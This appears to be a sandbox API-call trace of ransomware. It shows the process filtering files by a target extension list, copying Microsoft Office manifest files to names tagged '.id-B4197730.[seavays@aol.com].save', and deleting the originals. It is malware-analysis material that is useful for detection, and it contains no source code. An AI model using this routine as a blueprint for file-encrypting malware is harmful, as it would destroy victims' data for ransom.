lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0056.960] lstrlenW (lpString=".ppt") returned 4 [0056.960] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.960] lstrlenW (lpString=".zip") returned 4 [0056.960] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0056.960] lstrlenW (lpString=".rar") returned 4 [0056.960] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0056.960] lstrlenW (lpString=".bz2") returned 4 [0056.960] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0056.960] lstrlenW (lpString=".7z") returned 3 [0056.960] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.960] lstrlenW (lpString=".dbf") returned 4 [0056.960] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.960] lstrlenW (lpString=".1cd") returned 4 [0056.960] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0056.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0056.960] lstrlenW (lpString=".jpg") returned 4 [0056.960] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0056.960] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.960] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0056.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.961] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1533) returned 1 [0056.961] CloseHandle (hObject=0x36c) returned 1 [0056.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0056.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.961] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.961] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.962] GetLastError () returned 0x0 [0056.962] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x5fd, lpOverlapped=0x0) returned 1 [0056.964] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x600, lpOverlapped=0x0) returned 1 [0056.965] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0056.965] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0056.965] SetEndOfFile (hFile=0x378) returned 1 [0056.965] CloseHandle (hObject=0x378) returned 1 [0056.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.966] SetEndOfFile (hFile=0x36c) returned 1 [0056.967] CloseHandle (hObject=0x36c) returned 1 [0056.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0056.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.967] lstrlenW (lpString=".doc") returned 4 [0056.967] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.967] lstrlenW (lpString=".docx") returned 5 [0056.967] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0056.968] lstrlenW (lpString=".pdf") returned 4 [0056.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString=".xls") returned 4 [0056.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString=".xlsx") returned 5 [0056.968] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0056.968] lstrlenW (lpString=".ppt") returned 4 [0056.968] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString=".zip") returned 4 [0056.968] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.968] lstrlenW (lpString=".rar") returned 4 [0056.968] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString=".bz2") returned 4 [0056.968] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString=".7z") returned 3 [0056.968] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString=".dbf") returned 4 [0056.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString=".1cd") returned 4 [0056.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString=".jpg") returned 4 [0056.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.968] lstrlenW (lpString=".doc") returned 4 [0056.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.968] lstrlenW (lpString=".docx") returned 5 [0056.968] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0056.968] lstrlenW (lpString=".pdf") returned 4 [0056.969] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString=".xls") returned 4 [0056.969] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString=".xlsx") returned 5 [0056.969] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0056.969] lstrlenW (lpString=".ppt") returned 4 [0056.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.969] lstrlenW (lpString=".zip") returned 4 [0056.969] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.969] lstrlenW (lpString=".rar") returned 4 [0056.969] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString=".bz2") returned 4 [0056.969] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString=".7z") returned 3 [0056.969] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.969] lstrlenW (lpString=".dbf") returned 4 [0056.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.969] lstrlenW (lpString=".1cd") returned 4 [0056.969] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0056.969] lstrlenW (lpString=".jpg") returned 4 [0056.969] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.970] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.970] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53 [0056.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.971] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=800867) returned 1 [0056.971] CloseHandle (hObject=0x36c) returned 1 [0056.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220 [0056.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0056.971] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.972] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0056.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0056.972] GetLastError () returned 0x0 [0056.972] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xc3863, lpOverlapped=0x0) returned 1 [0056.989] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xc3870, lpOverlapped=0x0) returned 1 [0057.706] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0057.706] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.706] SetEndOfFile (hFile=0x378) returned 1 [0057.706] CloseHandle (hObject=0x378) returned 1 [0057.722] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0057.722] SetEndOfFile (hFile=0x36c) returned 1 [0058.069] CloseHandle (hObject=0x36c) returned 1 [0058.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.143] lstrlenW (lpString=".doc") returned 4 [0058.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString=".docx") returned 5 [0058.143] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.143] lstrlenW (lpString=".pdf") returned 4 [0058.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString=".xls") returned 4 [0058.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString=".xlsx") returned 5 [0058.143] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.143] lstrlenW (lpString=".ppt") returned 4 [0058.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.143] lstrlenW (lpString=".zip") returned 4 [0058.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.143] lstrlenW (lpString=".rar") returned 4 [0058.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString=".bz2") returned 4 [0058.143] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.143] lstrlenW (lpString=".7z") returned 3 [0058.143] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString=".dbf") returned 4 [0058.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString=".1cd") returned 4 [0058.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString=".jpg") returned 4 [0058.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString=".doc") returned 4 [0058.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString=".docx") returned 5 [0058.144] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.144] lstrlenW (lpString=".pdf") returned 4 [0058.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString=".xls") returned 4 [0058.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString=".xlsx") returned 5 [0058.144] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.144] lstrlenW (lpString=".ppt") returned 4 [0058.144] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.144] lstrlenW (lpString=".zip") returned 4 [0058.144] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.144] lstrlenW (lpString=".rar") returned 4 [0058.144] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString=".bz2") returned 4 [0058.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.144] lstrlenW (lpString=".7z") returned 3 [0058.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.145] lstrlenW (lpString=".dbf") returned 4 [0058.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.145] lstrlenW (lpString=".1cd") returned 4 [0058.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0058.145] lstrlenW (lpString=".jpg") returned 4 [0058.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.145] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.145] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0058.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0058.146] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19451) returned 1 [0058.146] CloseHandle (hObject=0x368) returned 1 [0058.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0058.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0058.146] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.146] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0058.148] GetLastError () returned 0x0 [0058.148] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0058.149] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4c00, lpOverlapped=0x0) returned 1 [0058.150] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0058.151] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.151] SetEndOfFile (hFile=0x2f4) returned 1 [0058.151] CloseHandle (hObject=0x2f4) returned 1 [0058.152] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0058.152] SetEndOfFile (hFile=0x368) returned 1 [0058.153] CloseHandle (hObject=0x368) returned 1 [0058.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.154] lstrlenW (lpString=".doc") returned 4 [0058.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString=".docx") returned 5 [0058.154] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.154] lstrlenW (lpString=".pdf") returned 4 [0058.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString=".xls") returned 4 [0058.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString=".xlsx") returned 5 [0058.154] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.154] lstrlenW (lpString=".ppt") returned 4 [0058.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.154] lstrlenW (lpString=".zip") returned 4 [0058.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.154] lstrlenW (lpString=".rar") returned 4 [0058.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString=".bz2") returned 4 [0058.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString=".7z") returned 3 [0058.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.154] lstrlenW (lpString=".dbf") returned 4 [0058.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.154] lstrlenW (lpString=".1cd") returned 4 [0058.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0058.155] 